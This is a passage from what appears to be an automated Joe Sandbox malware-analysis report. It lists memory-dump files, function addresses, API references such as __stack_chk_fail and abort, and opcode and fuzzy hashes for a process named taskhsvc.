                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abortmemset
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4248982965-0
                                                                                                                          • Opcode ID: d323761dfa477e46c0aad6ddba003d1428a76fa424f7516578b34862d002629a
                                                                                                                          • Instruction ID: 1d73642983b0c6fdf1714b3de000cd548f17f46bb7ed37fd8c1fa28f303e162a
                                                                                                                          • Opcode Fuzzy Hash: d323761dfa477e46c0aad6ddba003d1428a76fa424f7516578b34862d002629a
                                                                                                                          • Instruction Fuzzy Hash: CD017AB8E016099FCB00DFA9D58199AFBF1FB09310B05C566ED28EB311E234E911CFA0
                                                                                                                          Function 00D33207 Relevance: 1.5, APIs: 1, Instructions: 36COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D33277
                                                                                                                            • Part of subcall function 00D32E50: abort.MSVCRT ref: 00D32F7F
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failabort
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3276312271-0
                                                                                                                          • Opcode ID: f8b936239b45237226c9b597449db9be69734b137a26c6273147d1191d088710
                                                                                                                          • Instruction ID: 1cb91a6c1211632aa607bb1423db14bc597657b8b5d2782ec2fa5b00e31c99ed
                                                                                                                          • Opcode Fuzzy Hash: f8b936239b45237226c9b597449db9be69734b137a26c6273147d1191d088710
                                                                                                                          • Instruction Fuzzy Hash: AE0120B4E056199FCB40DFA9D581A9EBBF1FB48300F41882AE858E7300E374EE158F65
                                                                                                                          Function 00BE43B5 Relevance: 1.5, APIs: 1, Instructions: 33COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: 300a2bd98cec8a51dafa78996802b7967ff14a692ca01793c1af1ec628cd0845
                                                                                                                          • Instruction ID: e971635d8f95050162c3484bdd965e8078901ee14b00000b8f2934c06910e677
                                                                                                                          • Opcode Fuzzy Hash: 300a2bd98cec8a51dafa78996802b7967ff14a692ca01793c1af1ec628cd0845
                                                                                                                          • Instruction Fuzzy Hash: AEF0C4B5A002199BDF00DFAAC88569EB7F0FF49304F019965E924F7300E370EA01CB55
                                                                                                                          Function 00D46865 Relevance: 1.5, APIs: 1, Instructions: 33COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 4216919130-0
                                                                                                                          • Opcode ID: e465a4ae85f3807724afe6a459028e21ef1cb4a86171cc00da9b9d5524d8cda2
                                                                                                                          • Instruction ID: bfe17200827668e0db54864b9d9bf7cab141667f27a9e40e25071b62c61fab1f
                                                                                                                          • Opcode Fuzzy Hash: e465a4ae85f3807724afe6a459028e21ef1cb4a86171cc00da9b9d5524d8cda2
                                                                                                                          • Instruction Fuzzy Hash: 7B019DB4E046099FCB40DFA9C580A8DBBF1FB49314F10882AE859E7340E234ED418F66
                                                                                                                          Function 00CE291B Relevance: 1.5, APIs: 1, Instructions: 32COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00C94D6E: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00CE2958), ref: 00C94DB6
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00CE297A
                                                                                                                            • Part of subcall function 00BF484E: abort.MSVCRT ref: 00BF489E
                                                                                                                            • Part of subcall function 00BF484E: __stack_chk_fail.LIBSSP-0 ref: 00BF48CA
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
